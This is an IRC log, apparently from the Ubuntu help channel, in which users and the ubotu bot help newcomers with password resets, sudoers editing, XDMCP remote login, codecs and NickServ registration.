[01:43] <lunitik> Arsonide, impossible
[01:43] <lunitik> apokryphos, still would have said SOMETHING
[01:43] <thrush> arsonide type sudo fdisk -l hda
[01:43] <NoUse> chrismy ubotu, as smart as he is, is that the end all be all of linux knowledge
[01:43] <chrismy> lunitik: hmm you mean everything but just USB?
[01:43] <NoUse> s/that/not
[01:43] <apokryphos> Arsonide: but if you want you can use the script ubotu just told you about... it will automount the partitions for you, if you like.
[01:43] <lunitik> chrismy, hotplug manages only USB
[01:43] <Arsonide> bah, I changed my password and now it doesn't work.
[01:44] <apokryphos> Arsonide: use your new password
[01:44] <lunitik> Arsonide, listen to apokryphos
[01:44] <chrismy> NoUse: yes. is ubotu your bot?
[01:44] <apokryphos> Arsonide: you won't be able to function without it.
[01:44] <Arsonide> It was capitalized and I made it uncapitalized, now neither works. For instance it was APPLE, now it's apple.
[01:44] <rmflagg> Has anyone encountered any login problems, like it no longer asking if you want to change the default session setting?
[01:44] <lunitik> Arsonide, I think doing this manually is beyond you (no offense)
[01:44] <chrismy> lunitik: thanks! i am smarter now :D
[01:44] <Ng> Arsonide: you can reset it by rebooting into recovery mode and running "passwd yourusername"
[01:44] <apokryphos> chrismy: cafuego owns him; belongs to the channel.
[01:44] <lunitik> chrismy, heh  :)
[01:45] <chrismy> apokryphos: ahhh so it must be tough to take care of it
[01:45] <chrismy> apokryphos: heard it need plenty of care
[01:45] <chrismy> lunitik: :P
[01:45] <apokryphos> chrismy: not particularly; everyone can contribute to him (like a wiki), and he's a blootbot
[01:45] <chrismy> apokryphos: :O he is wiki?????????
[01:45] <Arsonide> lunitik, It's not my fault you didn't include sudo, give me a break I just got this today.
[01:45] <chrismy> gee....
[01:45] <apokryphos> chrismy: similar to one, yes
[01:45] <chrismy> cool!
[01:46] <dieman> hrm
[01:46] <funkyHat> does anyone else get really annoyed with sloppy focus, focusing the windows immediately
[01:46] <dieman> anyone using breezy and autopano-sift?
[01:46] <chrismy> so how could i command it to give me info?
[01:46] <Ng> funkyHat: you can set a delay
[01:46] <funkyHat> there could at least be an _option_ to delay focus:(
[01:46] <funkyHat> Ng, there is no way to set a delay
[01:46] <NoUse> !tell chrismy about ubotu
[01:46] <funkyHat> you can set an autoraise delay
[01:46] <chrismy> apokryphos: how do i learn about talking to this ubotu?
[01:46] <funkyHat> not a focus delay
[01:46] <crube> What's so cool about wiki? I don't even know what wiki is.
[01:46] <lunitik> Arsonide, like I said, no offense intended... Linux is meant for people like you (users that aren't familier with Linux necissarily) ... its ok... but the script will likely be easier for you  :)
[01:46] <apokryphos> chrismy: best to investigate in /msg. So /msg ubotu
[01:46] <bob__> crube, plenty is cool about wiki
[01:46] <Ng> funkyHat: ah yes, it's a raise delay :(
[01:46] <apokryphos> chrismy: then just start typing; type help
[01:47] <Arsonide> I still don't know how to use the script. Is this a bat file or what?
[01:47] <chrismy> help
[01:47] <NoUse> crube well if you don't know about it, it must not be cool
[01:47] <chrismy> erm...
[01:47] <Ng> funkyHat: I use sloppy focus though, what's wrong with instant focus? ;)
[01:47] <apokryphos> crube: What's so cool about wiki is that it's collaboration :)
[01:47] <lunitik> chrismy, /msg ubotu help
[01:47] <apokryphos> compare Encarta to Wikipedia
[01:47] <funkyHat> i'm sure there used to be an option to delay focus
[01:47] <chrismy> help
[01:47] <chrismy> apokryphos: why i cant do it?
[01:47] <bob__> http://en.wikipedia.org/wiki/Wiki learn about wikis
[01:47] <crube> apokryphos,  I've seen all kinds of wiki's, but I don't know what makes them so special :P
[01:47] <NoUse> chrismy message the boy
[01:47] <apokryphos> chrismy: type what lunitik said
[01:47] <lunitik> apokryphos, wikipedia > encarta ... not least because m$ owns encarta  ;)
[01:47] <NoUse> chrismy bot
[01:47] <funkyHat> well, for a start windows thinking i've looked at them because they've had focus (mostly a problem with gaim)
[01:47] <funkyHat> and also it's just insanely annoying!
[01:48] <chrismy> ermm nothing came out
[01:48] <apokryphos> crube: the wealth of information. Find out how many articles Wikipedia gives you at the typing of a few keys
[01:48] <Ng> funkyHat: gaim is deeply annoying with any focus mode ;(
[01:48] <chrismy> hello
[01:48] <apokryphos> lunitik: seeing the "Encarta article on X... pay to access it" makes me go straight to Wikipedia 8)
[01:48] <chrismy> bot
[01:48] <funkyHat> (yeah, i have the patched libwnck which means i have blinking taskbar items, but then moving the mouse over the chat window cancels the notification)
[01:48] <crube> You just hate to say "wiki" and the whole crowd goes all "Whooo" and "oooh" and then they start clapping their hands and making waves!
[01:48] <dazvid> Hello everyone
[01:48] <apokryphos> chrismy: it should open a query for you with ubotu
[01:48] <chrismy> dazvid: hi there :D
[01:48] <Ng> funkyHat: but fair enough. you could file a bug with a low priority (ie feature enhancement) asking for it?
[01:49] <apokryphos> chrismy: I think your nick has to be registered, if you're not already
[01:49] <lunitik> apokryphos, haha... can't remember the last time I used Encarta actually.. I know I have it on CD around here someplace though  :)
[01:49] <chrismy> apokryphos: yes something like ]  [PRIVMSG >>> ubotu] : ???
[01:49] <Arsonide> Ubuntu never gets my password right, first it thought it was capitalized, when it wasn't, and now it thinks it's something else but it isn't.
[01:49] <dazvid> Question for you ubuntu users.. how good is ubuntu with supporting major game releases?
[01:49] <lunitik> chrismy, type '/msg ubotu help'
[01:49] <apokryphos> chrismy: what? that's the output?
[01:49] <lunitik> chrismy, in the channel
[01:49] <chrismy> yes i did lunitik
[01:50] <chrismy> he does not like me?:(
[01:50] <Ng> Arsonide: it really should get it right, I'd be tempted to blame your equipment or you before md5 and strcmp() ;)
[01:50] <lunitik> !help
[01:50] <chrismy> see nothing came out
[01:50] <Arsonide> I've typed this password for over 5 years and I had to confirm it twice.
[01:50] <apokryphos> lunitik: long messages are only /msg
[01:50] <apokryphos> lunitik: I don't think he's registered
[01:50] <lunitik> chrismy, eh... it farted a bunch of crap to me
[01:50] <Ng> funkyHat: bugzilla.gnome.org
[01:50] <crube> dazvid,  I've played hl2 under ubuntu. Ubuntu is not the *supporter* of these games.
[01:50] <chrismy> lunitik: huh?
[01:51] <chrismy> !help
[01:51] <dazvid> crube: can you play it online though?
[01:51] <chrismy> lunitik: ahh yes
[01:51] <chrismy> heheh
[01:51] <apokryphos> =)
[01:51] <crube> dazvid,  yes with no problems.
[01:51] <dazvid> ah
[01:51] <chrismy> but how cani learn about it?
[01:51] <dazvid> well thats all i need to hear :)
[01:51] <Arsonide> Ng, how do you boot into recovery mode...
[01:51] <apokryphos> chrismy: so as you can see, to add to him you do "x is at http://x.com"
[01:51] <Arsonide> I have to do simple things the hard way.
[01:51] <funkyHat> thanks Ng :)
[01:51] <dazvid> well have to  be off, got uni in an hour -_-
[01:51] <crube> dazvid,  ubuntu is not the one supporting games- There's other programs for linux that are made for gaming.
[01:52] <Ng> Arsonide: reboot your computer and just before it boots it prints a message about pressing escape for the boot menu, do that and there should be an Ubuntu Recovery entry listed, choose that
[01:52] <kairu> hi all! sometimes i start up my computer, log in, and i get this gnome desktop with everything but the system tray. anyone have this problem?
[01:52] <apokryphos> chrismy: in your /msg with ubotu, type another word
[01:52] <chrismy> i try
[01:52] <apokryphos> chrismy: i.e. type   ubuntu
[01:52] <chrismy> ubuntu
[01:52] <chrismy> hmmm
[01:52] <reiki> hahah
[01:52] <apokryphos> chrismy: in your channel with ubotu
[01:52] <chrismy> ubuntu
[01:52] <apokryphos> s/channel/ubuntu
[01:52] <NoUse> chrismy you aren't messaging the bot, you are sending that to us
[01:52] <apokryphos> gah
[01:52] <chrismy> NoUse: yes i know
[01:53] <apokryphos> chrismy: where did ubotu respond to you? Well, go in there and type it
[01:53] <chrismy> [07:52:39]  [PRIVMSG >>> ubuntu] :  i got that
[01:53] <chrismy> apokryphos: in there? in the channel?
[01:53] <apokryphos> chrismy: in there with him, yes.
[01:53] <crube> Ok time to sleep. ->
[01:53] <apokryphos> chrismy: if it doesn't work, you need to register your nick I believe.
[01:53] <chrismy> apokryphos: this channel or the freenode wherei came in?
[01:54] <chrismy> crube: are you going or i am annoying?:(
[01:54] <apokryphos> chrismy: not the channel and not the Freenode, but in your chat with ubotu (the bot) :)
[01:54] <eyequeue> chrismy:  it's ubotu not ubuntu
[01:54] <apokryphos> you should get this response...
[01:54] <apokryphos> !ubuntu
[01:54] <ubotu> rumour has it, ubuntu is an easy-to-use GNU/Linux desktop distro based on Debian.  http://ubuntu.com http://ubuntuforums.org http://wiki.ubuntu.com. It means 'Humanity to others'. see !awards
[01:54] <Chadza> !awards
[01:54] <ubotu> rumour has it, awards is http://www.ubuntulinux.org/ubunturocks
[01:54] <chrismy> !ubuntu
[01:54] <apokryphos> chrismy: though you can search factoids here: http://ubuntu.cc.com.au/
[01:54] <|Imp|> question, how to i login to gdm remotely?
[01:54] <chrismy> lol
[01:54] <eyequeue> ubotu:  tell chrimsy about help
[01:55] <chrismy> i think i need to register
[01:55] <apokryphos> as I said, yes :)
[01:55] <chrismy> eyequeue: nothing here
[01:55] <chrismy> apokryphos: so how do i register myself?
 told chrimsy about CMD 'help'
[01:55] <chrismy> eyequeue: erm..i have no popup
[01:56] <eyequeue> chrismy:  /msg NickServ help register
[01:56] <apokryphos> chrismy: /msg nickserv {somepassword} {emailaddress}
[01:56] <eyequeue> chrismy:  popup?
[01:56] <|Imp|> how do i do remote GDM login?
[01:56] <apokryphos> whoop, forgot the register
[01:56] <apokryphos> chrismy: /msg nickserv register {somepassword} {emailaddress}
[01:57] <chrismy> erm what now?
[01:57] <chrismy> ami registered?
[01:57] <chrismy> !help
[01:57] <eyequeue> chrismy:  read the email
[01:57] <chrismy> !wiki
[01:57] <chrismy> i have email? ok wait
[01:57] <|Imp|> will somebody please help me?
[01:58] <apokryphos> !helpme
[01:58] <ubotu> If you don't actually ask a question, we can not actually help you.
[01:58] <lunitik> chrismy, you don't need to enter an e-mail address... nickserv doesn't really care...
[01:58] <NoUse> |Imp| you have to enable it while your at the machine
[01:58] <lunitik> chrismy, just type '/msg nickserv identify somepassword
[01:58] <chrismy> lunitik: lol i am dumb you must know :P
[01:58] <|Imp|> NoUse, i did
[01:58] <|Imp|> what do i use as a client?
[01:58] <NoUse> |Imp| I don't know
[01:58] <apokryphos> lunitik: no, you have to verify by email
[01:59] <darkheart> |Imp| vnc client
[01:59] <chrismy> !register
[01:59] <ubotu> chrismy: Bugger all, i dunno
[01:59] <chrismy> ;p;
[01:59] <darkheart> |Imp| But if you want to connect to the active session, you have to have set it so that you can connect to it and to allow remote users. Otherwise you  have to use a real vnc session.
[02:00] <|Imp|> darkheart, what?
[02:00] <Ng> |Imp|: do you mean full remote X as in XDCMP? If so, gdm can browse xdcmp or you can use an X server like Exceed on windows
[02:00] <Arsonide> Alright, in Windows now...doing passwd (myname) brought up the UNIX password reset, I made sure capslock was off, looked at every single letter before I pushed it, and confirmed again looking at every letter.
[02:00] <|Imp|> yes
[02:00] <|Imp|> XDCMP
[02:00] <|Imp|> i wanna use that
[02:00] <|Imp|> how?
[02:00] <chrismy> lunitik: so how will i know if i am registered? i have enter /msg nickserv identify <password>
[02:00] <Arsonide> Tried to log in and tried the password and it didn't work, turned caps lock on just in case, and it still didn't work.
[02:00] <Ng> |Imp|: what OS is the client computer?
[02:00] <|Imp|> ubuntu
[02:01] <Arsonide> Now ubuntu won't let me on at all.
[02:01] <apokryphos> chrismy: did you check your mail and do what it says there?
[02:01] <chrismy> apokryphos: i am tryin. hotmail sucks!
[02:02] <chrismy> yeah you tell me...
[02:02] <Ng> |Imp|: in gdmsetup's Security tab there's an option to allow running the XDMCP chooser, tick that on the client machine
[02:02] <chrismy> apokryphos: so what emial account you use?
[02:02] <chrismy> email
[02:02] <Ng> |Imp|: that should let the gdm the client machine loads be used to connect to the server's xdmcp
[02:02] <apokryphos> GMail =)
[02:02] <apokryphos> and various others that forward to that
[02:02] <chrismy> apokryphos: gee i must need invitation
[02:03] <apokryphos> chrismy: no, anyone can join
[02:03] <Arsonide> So uh, anybody want to tell me what my password really is?
[02:03] <Ng> |Imp|: and obviously the gdmsetup on the server needs to be set to run xdmcp and allow remote logins :)
[02:03] <Arsonide> Cause it's not the password I'm telling it to be.
[02:03] <chrismy> apokryphos: huh? i thought it is fussy
[02:03] <apokryphos> Arsonide: you set it =)
[02:03] <|Imp|> ng, it was
[02:03] <apokryphos> chrismy: it used to be
[02:03] <QMario> How do I run a Unix binary.
[02:03] <chrismy> apokryphos: oki check it out now
[02:03] <Arsonide> No, Ubuntu set it, it doesn't think it's what I typed in and I'm definately getting it right, I looked at every single key as I pressed it this time.
[02:03] <apokryphos> chrismy: https://www.google.com/accounts/NewAccount
[02:04] <Ng> QMario: you can only run Linux binaries
[02:04] <Arsonide> I'm in windows now cause I can't log in
[02:04] <chrismy> apokryphos: must i use my current email address to log in? my existing email addy is way too long@
[02:04] <chrismy> :P
[02:04] <Ng> |Imp|: actually you might well need to tell both gdmsetup's to enable tcp too
[02:04] <apokryphos> chrismy: to log in to where?
[02:04] <chrismy> I HEARD WINDOWS! :O
[02:04] <bmecoli-> anyone here know how to run dosemu
[02:05] <|Imp|> NG
[02:05] <|Imp|> i did
[02:05] <apokryphos> chrismy: to register your nick you will have to go into the address you specified, yes.
[02:05] <|Imp|> but i can't get the client to connect
[02:05] <Ng> Arsonide: did you manage to reset it?
[02:05] <bmecoli-> is says it will but it only takes my back to "root@path"
[02:05] <|Imp|> i can't even get the client to give me the option to connect
[02:05] <bmecoli-> I don't understand
[02:05] <chrismy> apokryphos: the page asking for my current email address and tht will be my username to signin
[02:05] <bmecoli-> I can't find the process either
[02:05] <Arsonide> No, I can't log in now, I made sure caps lock was off, and when I put the password in I hunt-and peck typed it looking at the keyboard, did that twice.
[02:05] <QMario> Ng, sorry. I meant a Linux binary.
[02:06] <Arsonide> Then I tried logging in with caps on and off, and neither worked.
[02:06] <QMario> I created one from compiling C++ source code.
[02:06] <QMario> How do I run it?
[02:06] <apokryphos> chrismy: totally confused. What are you talking about?
[02:06] <bmecoli-> there is this Creating symbolic link for bootdirectory as /home/bmecoli/.dosemu/drives/c
[02:06] <bmecoli-> and I don't get it
[02:06] <NoUse> QMario ./file
[02:06] <Ng> |Imp|: ah, are you using the graphical greeter?
[02:06] <Arsonide> Is there some sort of password format that I'm not following?
[02:06] <bmecoli-> because nothing else happens
[02:07] <chrismy> Your current email address :
[02:07] <chrismy> e.g. myname@example.com. This will be your username and sign-in.
[02:07] <bmecoli-> it just takes me back to bash
[02:07] <apokryphos> chrismy: oh, whoop, must have given the wrong link there.
[02:07] <chrismy> apokryphos: lol
[02:07] <Arsonide> Ng: me?
[02:07] <Arsonide> Yeah.
[02:08] <chrismy> apokryphos: i am innocent...
[02:08] <chrismy> :P
[02:08] <apokryphos> chrismy: hm, they must have changed the system. I can give you an invite though. Just /msg  me your email address
[02:08] <chrismy> apokryphos:  you mean PM you?
[02:08] <Ng> Arsonide: yeah, didn't I just tell you about rebooting to recovery mode to reset your password?
[02:08] <apokryphos> yes
[02:08] <chrismy> apokryphos: as i am aware i am not allowed to PM
[02:09] <apokryphos> chrismy: you are, but not to Ubuntu
[02:09] <apokryphos> *ubotu
[02:09] <Arsonide> Ng: I'm telling you now, that's what I did, it said "New UNIX Password" and I did it twice, making sure I got it right.
[02:09] <chrismy> apokryphos: which means?
[02:09] <bmecoli-> hmm, is anyone going to help me... I'm pretty stumped
[02:09] <chrismy> apokryphos: ok i try
[02:09] <apokryphos> chrismy: type.... /msg apokryphos youremail@somedomain.com
[02:09] <Ng> Arsonide: if it accepted it then that is your password. Are you sure you have the right username?
[02:09] <chrismy> ok
[02:10] <Arsonide> That password is assigned to the user in "passwd user" right?
[02:10] <Ng> yes
[02:10] <Arsonide> Then yeah, I'm getting the username right.
[02:10] <Ng> with that exact capitalisation
[02:10] <lunitik> chrismy, ahh... sorry... was gone for a sec... /msg nickserv identify password   (before should have been register not identify)
[02:10] <|Imp|> Ng, yes, i am using the graphical greeter
[02:10] <Ng> |Imp|: bingo :)
[02:11] <Ng> |Imp|: in gdmsetup switch to the standard greeter. the xdmcp chooser is in the actions menu :)
[02:11] <Arsonide> Ng: I'll try it again but I'm pretty sure something's messed up. I may have capitalized the first letter of my name, but I doubt it.
[02:11] <Arsonide> brb.
[02:11] <Ng> Arsonide: wait
[02:11] <Arsonide> ?
[02:11] <QMario> How do I set myself to +CE?
[02:11] <Ng> Arsonide: when you boot back into ubuntu, if the graphical login doesn't work, hit Ctrl-Alt-F1 and try a console login too
[02:12] <Arsonide> ok
[02:12] <Arsonide> brb
[02:13] <[t0rc] > can you install rpms on ubuntu?
[02:13] <lunitik> [t0rc] , sure... alien some.rpm
[02:13] <Ng> [t0rc] : maybe, if you really really have to, but it's really not a good plan
[02:13] <lunitik> [t0rc] , then install the resulting deb as normal
[02:14] <lunitik> Ng, shush... Ubuntu is LSB complient... that statement makes it sound like its not
[02:14] <Ng> lunitik: that assumes all RPMs are LSB compliant ;)
[02:14] <lunitik> [t0rc] , if it complains... 'alien --to-deb some.rpm'
[02:14] <apokryphos> lunitik: it's unfortunately a simple fact that bigger RPMs it won't work for. It is a debian-based system
[02:14] <lunitik> Ng, rpm = an lsb standard.
[02:14] <oro> Can someone help me get my sound working?
[02:14] <Ng> lunitik: I mean the contents
[02:15] <cyphase> is breezy going to have better server management?
[02:15] <[t0rc] > k thnx both
[02:15] <|Imp|> how do i add a user to the sudoers file?
[02:15] <Ng> |Imp|: you add the user to the admin group
[02:15] <ivanoden> i have mplayer and sound problem
[02:15] <|Imp|> ng, how
[02:15] <Ng> "sudo adduser username admin"
[02:15] <ivanoden> it cannot use alsa sound system
[02:15] <Ng> or with the graphical users and groups thingie
[02:15] <apokryphos> |Imp|: sudo visudo
[02:15] <lunitik> apokryphos, it'll work... just likely to take a LOT longer...
[02:16] <apokryphos> |Imp|: and then add {username} ALL=(ALL) ALL
[02:16] <lunitik> apokryphos, hard to believe he can't find a .deb though...
[02:16] <ivanoden> anyone had the same prob before?
[02:16] <apokryphos> lunitik: the alien system isn't perfect. Check the site.
[02:16] <apokryphos> lunitik: yes
[02:16] <Ng> apokryphos: there's no need to visudo, that's what the admin group does :)
[02:16] <apokryphos> either way
[02:17] <codecaine> what's going on with these spammers on irc? ridiculous!
[02:17] <Ars0nide> Ok awesome, it's taken 8 hours to raise my refresh rate from 60 to 85, and change my password from capitalize to uncapitalized.
[02:17] <[t0rc] > anyone here compiled 64 bit blender on ubuntu?
[02:17] <Ng> apokryphos: generally it's best to do things the way the distro's own tools would have done, so there are no surprises later, imho
[02:17] <bmecoli-> ;/
[02:17] <ivanoden> or someone can use mplayer
[02:17] <ivanoden> yet?
[02:17] <apokryphos> Ng: that wouldn't produce any surprises, really. But, I don't know how to do it the other way; I don't use gnome.
[02:17] <Ng> Ars0nide: working now? :)
[02:17] <[t0rc] > codecaine: yes they are. quite annoying.
[02:17] <lunitik> ivanoden, totem-xine + w32codecs > mplayer
[02:17] <Ars0nide> Yeah...now to try and access my windows drive.
[02:18] <|Imp|> oh shit
[02:18] <|Imp|> i fucked up the sudoers file
[02:18] <ivanoden> is totem player good for music player
[02:18] <|Imp|> how can i fix this
[02:18] <lunitik> ivanoden, Rhythmbox is better for music...
[02:18] <Ng> apokryphos: ^^ - another good reason to never mention visudo ;)
[02:18] <Madpilot> ivanoden: yes - but for playing albums, try Rythymbox or Muibe
[02:18] <Gerriall> Is anybody else getting webcam spam messages?
[02:18] <Madpilot> *Muine
[02:18] <zuuluu1212> ivanoden: there are better...totem is boring :)
[02:18] <Madpilot> Gerriall: yes
[02:18] <|Imp|> helphelphelp
[02:18] <|Imp|> ;_;
[02:18] <apokryphos> |Imp|: how and why; you shouldn't play around with it.
[02:18] <Gerriall> Any way to dump them?
[02:18] <Ng> |Imp|: |Imp| there are only three lines in the default one:
[02:18] <ivanoden> lunitik, ok, but i think the problem is sound system
[02:18] <Ng> Defaults        !lecture,tty_tickets,!fqdn
[02:18] <Ng> root    ALL=(ALL) ALL
[02:19] <Ng> %admin  ALL=(ALL) ALL
[02:19] <|Imp|> apokryphos, I DID WHAT YOU TOLD ME TOO!!
[02:19] <ivanoden> it cannot use alsa
[02:19] <|Imp|> i can't edit it
[02:19] <|Imp|> i can't use sudo
[02:19] <Madpilot> anyone know why "/umode <nick> +CE" isn't working for me? I get "UMODE unknown command"...
[02:19] <lunitik> ivanoden, activate universe... and install gstreamer0.8-mad
[02:19] <Ng> |Imp|: write those three lines down, reboot into recovery mode and do it there
[02:19] <apokryphos> |Imp|: then you wouldn't have mucked up a single thing. No need to shout.
[02:19] <ivanoden> gstreamer-properties??
[02:19] <chrismy> apokryphos: ok done what should i do now?
[02:19] <ivanoden> lunitik, i have it
[02:20] <chrismy> apokryphos: re-regiester?
[02:20] <chrismy> *register
[02:20] <Ars0nide> Ng, where do I save this script?
[02:20] <zuuluu1212> im trying to get http://archive.ubuntulinux.org/ubuntu/pool/universe/r/request-tracker3.4/ installed but apt-get/cache only sees request-tracker3.2 .. i have straight server install...do i need to change sources.list?
[02:20] <apokryphos> chrismy: perhaps, but I don't know how to... it's waiting for you to verify from the hotmail address
[02:20] <Ng> Ars0nide: which script?
[02:20] <Ars0nide> Windowsdrives
[02:20] <chrismy> apokryphos: means i can't register again?
[02:21] <apokryphos> perhaps you can, but I don't know how to.
[02:21] <chrismy> apokryphos: hotmail is still not opening!
[02:21] <apokryphos> |Imp|: did you save the file properly?
[02:21] <|Imp|> apokryphos, yea
[02:21] <apokryphos> chrismy: what browser?
[02:21] <apokryphos> |Imp|: and your current user can't sudo? Hm.
[02:21] <Ng> Ars0nide: is that the winmac detection script? anywhere really, your home directory would be a good place
[02:21] <|Imp|> nobody can sudo
[02:21] <chrismy> apokryphos: you guess.it is IE
[02:21] <|Imp|> im rebooting the machien to fix it
[02:21] <apokryphos> |Imp|: it won't fix anything
[02:22] <Ars0nide> oh yeah, I forgot if it's like a bat I have to navigate to the folder for it to work.
[02:22] <|Imp|> apokryphos, yes it will
[02:22] <|Imp|> recovery mode
[02:22] <Ars0nide> Is there a folder (ala windows) that I can put things where it will become a default command?
[02:22] <apokryphos> |Imp|: do this  su - {otheruser} (the one you gave sudoer permissions
[02:22] <apokryphos> |Imp|: there's an easier way
[02:22] <Ng> Ars0nide: /usr/local/bin
[02:22] <Octane> which mode am I supposed to set for stopping all the spam?
[02:22] <|Imp|> nobody can use sudo
[02:22] <|Imp|> i already tried
[02:22] <lunitik> Ars0nide, put them in /home/you/bin
[02:22] <apokryphos> |Imp|: you said you edited the file appropriately
[02:22] <rob_p> |Imp|:  visudo shouldn't have let you save the file if it contained syntax errors.  Did you override it or something when it warned you of any errors?
[02:23] <lunitik> Ars0nide, or what Ng said... although yeah... I wouldn't do that...
[02:23] <|Imp|> it didn't warn me
[02:23] <ssdd65> how do i download the wma codec for xmms?
[02:23] <lunitik> Ars0nide, same result really... but yeah... I dislike /usr/local  :/
[02:23] <apokryphos> |Imp|: then you evidently didn't do what I said, if you can't sudo with the other user
[02:23] <chrismy> sjmurdoch: are you from blender too?
[02:23] <cafuego> did you run 'visudo' or 'vi /etc/sudoers' ?
[02:23] <lunitik> ssdd65, you need w32codec from hoary extras
[02:23] <[t0rc] > these spammers are getting real annoying
[02:23] <|Imp|> i added, below the existing user
[02:23] <ivanoden> lunitik, i try the rhythmbox but the problem is not the software?
[02:23] <zuuluu1212> this is just the universe repository correct? http://archive.ubuntulinux.org/ubuntu/pool/universe/r/request-tracker3.4/
[02:24] <rob_p> |Imp|:  hmm... odd.  Every time I've had errors in it, visudo wouldn't let me save it without giving me a second chance to fix it.
[02:24] <ssdd65> is hoary extras in any repo?
[02:24] <|Imp|> loki    ALL=(ALL) Al...oh
[02:24] <Ng> lunitik: what's wrong with /usr/local? ;)
[02:24] <apokryphos> |Imp|: ?
[02:24] <ivanoden> lunitik, it notice that "Could not open resource for writing "
[02:24] <|Imp|> i let go of shift early typing the last all
[02:24] <apokryphos> :/
[02:24] <chrismy> apokryphos: can i use gmail to chat like yahoo?
[02:25] <apokryphos> the one chance the root account would be useful
[02:25] <apokryphos> chrismy: I think so, yes. YOu can use it for msn etc
[02:25] <lunitik> Ng, I just don't really see the point... if its for a user, put it in the user dir... if its for everyone, put it in /usr/bin ...
[02:25] <Madpilot> Anyone know why I can't set /umode properly to block this damned spam?
[02:25] <apokryphos> |Imp|: though it shouldn't have mucked up your current user permissions unless you changed anything...
[02:25] <ivanoden> lunitik, i try the rhythmbox but the problem is not the software?
[02:25] <chrismy> apokryphos: wow the it loads like no body's business! zoom!
[02:25] <ivanoden> lunitik, it notice that "Could not open resource for writing "
[02:25] <lunitik> ivanoden, did you install gstreamer0.8-mad?
[02:25] <Ng> lunitik: /usr/bin is for packaged binaries/scripts, /usr/local/bin is for sysadmin installed (ie unpackaged) binaries/scripts
[02:25] <Madpilot> ivanoden: do you have all codecs installed?
[02:25] <Madpilot> !restricted
[02:25] <ubotu> rumour has it, restricted is http://www.ubuntulinux.org/wiki/RestrictedFormats
[02:26] <ivanoden> i have install lunitik
[02:26] <ivanoden> and all the codecs
[02:26] <ivanoden> but where to put the codec in
[02:26] <lunitik> ivanoden, it should work then... no idea why it doesn't... sorry... breezy?
[02:26] <ivanoden> Madpilot
[02:26] <David715> anybody here familiar with openssl on ubuntu?
[02:26] <lunitik> ivanoden, file a bug?
[02:26] <Emory> hello, I'm trying to install ubuntu, every time I insert the CD..I get the splash screen, I hit enter, and then ubuntu boots again...whats wrong
[02:26] <nalioth> David715: i'm sorta familiar
[02:26] <Madpilot> ivanoden: just isntall the codecs via Synaptic, they should be found by Totem automatically
[02:27] <nalioth> Emory: check your cd integrity (and .iso image integrity, if applicable)
[02:27] <lunitik> Madpilot, no...
[02:27] <David715> nalio, does the synaptic add the ca.pl?
[02:27] <lunitik> Madpilot, they need to be added... the codecs are non-free... Ubuntu will never ship them
[02:27] <David715> I cannot seem to find it and I am following some instructions that use that batch
[02:27] <Emory> what do you integrity..i just downloaded the iso and burned with nero
[02:27] <lunitik> Madpilot, you likely have hoary extras enabled... if so... tell him how to add them to his Ubuntu...
[02:28] <NoUse> Emory did you download it with bittorrent?
[02:28] <Emory> yes
[02:28] <Emory> bitornado
[02:28] <NoUse> Emory thats fine, then the ISO should be fine
[02:28] <NoUse> Emory make sure the CD isn't damaged
[02:28] <Ars0nide> Alright, no plugins to play MP3s or movies of any kind.
[02:28] <Ars0nide> The disk did mount though, where do I find these plugins?
[02:28] <Emory> I tried to burn it twice
[02:28] <Madpilot> lunitik: gstreamer-etc are all Free - it's just the w32codecs that are in -extras
[02:28] <nalioth> David715: i'm not familiar with scripts associated with openssl.  i recommend updateing your locatedb and searching for it with "locate"
[02:28] <NoUse> Emory and then check some of the boot options for the ubuntu CD, there might be a failsafe option or something
[02:29] <Madpilot> !tell ivanoden about mp3
[02:29] <Madpilot> ivanoden: that page that ubotu just sent you has all the codec info, including how to add hoary-extras - see the very bottom of that page
[02:30] <David715> nalioth, what is locatedb?
[02:30] <Ars0nide> Hey I finally died
[02:31] <nalioth> David715: you linux box has a database of every file on the system
[02:31] <apokryphos> David715: the cache that updatedb creates so that you can use locate command
[02:31] <Madpilot> Arsonide: if you're registered, you can always ghost an old nick
[02:31] <David715> ok, how would I go about verifying/updating it?
[02:31] <nalioth> David715: so i suggest opening a terminal and typing "sudo updatedb"  . this will update your database
[02:31] <apokryphos> David715: sudo updatedb
[02:31] <ivanoden> Madpilot, thanks
[02:32] <Arsonide> !tell arsonide about mp3
[02:32] <David715> ah, thanks, didnt know anything about that
[02:32] <nalioth> David715: then you can (from a terminal) run "locate <filename_you_are_interested_in>
[02:32] <David715> does it simply go and reindex the contents of the hd?
[02:32] <nalioth> David715: updatedb runs every night around 2am (if you leave your puter running)
[02:32] <David715> ah, ok.  What if it still does not find it after the dbupdate?
[02:33] <chrismy> got to go: will miss you all.....i shall be back! hahaha
[02:33] <David715> I did the synaptic; when that did not work, I d/led the source and compiled it myself
[02:33] <nalioth> David715: ask Uncle Google
[02:33] <David715> lol
[02:33] <apokryphos> David715: updatedb. If it doesn't find it then it doesn't exist on your hd
[02:33] <nalioth> David715: what did you ask synaptic for again?
[02:33] <David715> did, they gave me placed to d/l it (pull it from the tar) but it just gives me an error
[02:33] <David715> openssl
[02:33] <|Imp|> next thing im wondering
[02:34] <nalioth> David715: the server pkg is called "openssh-server"
[02:34] <David715> ?
[02:34] <NoUse> !openssl
[02:34] <ubotu> NoUse: I haven't a clue
[02:34] <|Imp|> how hard would it be to set up an ubuntu install that only installed enough to be a client for remote login?
[02:34] <NoUse> !info openssl
[02:34] <ubotu> openssl: (Secure Socket Layer (SSL) binary and related cryptographic tools), section utils, is optional. Version: 0.9.7e-3 (hoary), Packaged size: 879 kB, Installed size: 2132 kB
[02:34] <nalioth> !info openssl
[02:34] <NoUse> David715 the package is there
[02:34] <jasoncohen> i just connected a MS wireless mouse and i'm having some strange issues with the scroll wheel. When i scroll up or down it seems as if it tries to scroll in both directions at once. It will scroll up a bit, then scroll down and then up quickly and then continue going up for example
[02:34] <nalioth> !find openssl
[02:34] <jasoncohen> this doesnt' happen with my logitech optical mouse. any ideas?
[02:34] <reiki> anyone using an Epson R200 or R300 with Turboprint drivers got a template to print on CD media? :)
[02:34] <nalioth> David715: type in here "!info openssl"
[02:35] <nalioth> David715: when you do that, ubotu will send you info
[02:35] <David715> Im not on the linux box at the moment
[02:35] <NoUse> David715 but you can apt-get it (or synaptic)
[02:35] <David715> yes, I did for openssl
[02:36] <NoUse> David715 what are you trying to compile?
[02:36] <David715> and it installed and worked for the most part
[02:36] <David715> exvept that ca.pl was not there
[02:36] <cafuego> CA.pl
[02:36] <David715> so I d/led and compiled myself
[02:36] <cafuego> note the caps
[02:36] <David715> yes
[02:36] <David715> yes, I ran it with caps
[02:36] <cafuego> Mine is in /usr/lib/ssl/misc/CA.pl
